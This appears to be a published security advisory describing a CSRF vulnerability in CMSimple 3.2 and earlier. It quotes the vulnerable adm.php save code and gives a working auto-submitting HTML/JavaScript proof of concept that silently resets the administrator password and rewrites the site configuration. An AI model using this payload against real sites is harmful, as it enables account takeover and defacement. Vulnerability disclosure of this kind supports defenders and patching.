Abysssec Research

1) Advisory information

Title	**: CMSimple XSRF Vulnerability**
Affected	**: CMSimple <=3.2**
Discovery	**: www.abysssec.com**
Vendor	**: www.cmsimple.org**
Impact	**: Critical**
Contact	**: shahin [at] abysssec.com , info [at] abysssec.com**
Twitter	**: @abysssec**

2) Vulnerability Information

Class

1- XSRF

Exploiting this issue could allow an attacker to compromise the application, access or modify data.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- XSRFs:

Several XSRF existed in this CMS, attacker can use them for: changing admin password ,change use type or ,Deface the website.

Here is vulnerable code:

```
file:cmsimple/adm.php[line 141-180]:
                    if ($action == 'save') {
                        if ($form == 'array') {
                            $text = "<?php\n";
                            foreach($GLOBALS[$a] as $k1 => $v1) {
                                if (is_array($v1)) {
                                    foreach($v1 as $k2 => $v2) {
                                        if (!is_array($v2)) {
                                            initvar($k1.'_'.$k2);

        $GLOBALS[$a][$k1][$k2] = $GLOBALS[$k1.'_'.$k2];

        $GLOBALS[$a][$k1][$k2] = stsl($GLOBALS[$a][$k1][$k2]);
                                            if ($k1.$k2 ==
'editorbuttons')$text .= '$'.$a.'[\''.$k1.'\'][\''.$k2.'\']=\''.$GLOBALS[$a][$k1][$k2].'\';';
                                            else $text .=
'$'.$a.'[\''.$k1.'\'][\''.$k2.'\']="'.preg_replace("/\"/s", "", $GLOBALS[$a][$k1][$k2]).'";'."\n";
                                        }
                                    }
                                }
                            }
                            $text .= '?>';
                        }
                        else $text = rmnl(stsl($text));
                        if ($fh = @fopen($pth['file'][$file], "w")) {
                            fwrite($fh, $text);
                            fclose($fh);
                            if ($file == 'config' || $file == 'language') {
                                if (!@include($pth['file'][$file]))e('cntopen',
$file, $pth['file'][$file]);
                                if ($file == 'config') {
                                    $pth['folder']['template'] =
$pth['folder']['templates'].$cf['site']['template'].'/';
                                    $pth['file']['template'] =
$pth['folder']['template'].'template.htm';
                                    $pth['file']['stylesheet'] =
$pth['folder']['template'].'stylesheet.css';
                                    $pth['folder']['menubuttons'] =
```

```
$pth['folder']['template'].'menu/';
                                                        $pth['folder']['templateimages'] =
$pth['folder']['template'].'images/';
                                                        if (!(preg_match('/\/[A-z]{2}\/[^\/]*/',
sv('PHP_SELF')))) {
                                                                $sl = $cf['language']['default'];
                                                                $pth['file']['language'] =
$pth['folder']['language'].$sl.'.php';
                                                                if
(!@include($pth['file']['language']))die('Language file '.$pth['file']['language'].' missing');
                                                        }
                                                    }
                                                }
                                            }
                                            else e('cntwriteto', $file, $pth['file'][$file]);
                                    }
```

PoC for changing admin pass just show this code as html page to CMS Admin:

```
                                <html>
                                <head>
                                <title>Change Password and Deface site.</title>
                                <script>
                                        function creat_request (path,parameter,method) {
                                        method = method || "post";
                                        var remote_dive = document.createElement('div');
                                        remote_dive.id = 'Div_id';
                                        var style = 'border:0;width:0;height:0;';
                                        remote_dive.innerHTML = "<iframe name='iframename' id='iframeid'
style='"+style+"'></iframe>";
                                        document.body.appendChild(remote_dive);
                                        var form = document.createElement("form");
                                        form.setAttribute("method", method);
                                        form.setAttribute("action", path);
                                        form.setAttribute("target", "iframename");

                                        for(var key in parameter) {
                                        var hiddenField = document.createElement("input");
                                        hiddenField.setAttribute("type", "hidden");
                                        hiddenField.setAttribute("name", key);
                                        hiddenField.setAttribute("value", parameter[key]);
                                            form.appendChild(hiddenField);
                                        }
                                        document.body.appendChild(form);
                                        form.submit();
                                        }
                                        function  bypass(){

creat_request('http://site.com/cmsimple/',{'security_password':'test1','security_type':'page','site_title':'ALERT.','site_template':'default','language_default':'en','meta_keywords':'CMSimple%2C+Content+Management+System%2C+php','meta_description':'CMSimple+is+a+simple+content+management+system+for+smart+maintainance+of+small+commercial+or+private+sites.+It+is+simple+-+small+-
+smart%21','backup_numberoffiles':'5','images_maxsize':'150000','downloads_maxsize':'1000000','mailform_email':'','editor_height':'%28screen.availHeight%29-
400','editor_external':'','menu_color':'000000','menu_highlightcolor':'808080','menu_levels':'3','menu_levelcatch':'10','menu_sdoc':'','menu_legal':'CMSimple+Legal+Notices','uri_seperator':'%3A','uri_length':'200','xhtml_endtags':'','xhtml_amp':'true
```

```
','plugins_folder':'','functions_file':'functions.php','scripting_regexp':'%5C%23CMSimple+%28.*%3F%29%5C%23','form':'arra
y','file':'config','action':'save'});
                                        }

                                    </script>
                                    </head>
                                    <body onload="bypass();" >
                                    </body>
                                    </html>
```